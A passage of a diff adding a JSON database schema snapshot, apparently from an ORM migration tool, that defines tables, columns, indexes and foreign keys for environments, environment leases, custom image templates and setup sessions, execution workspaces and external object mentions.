+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
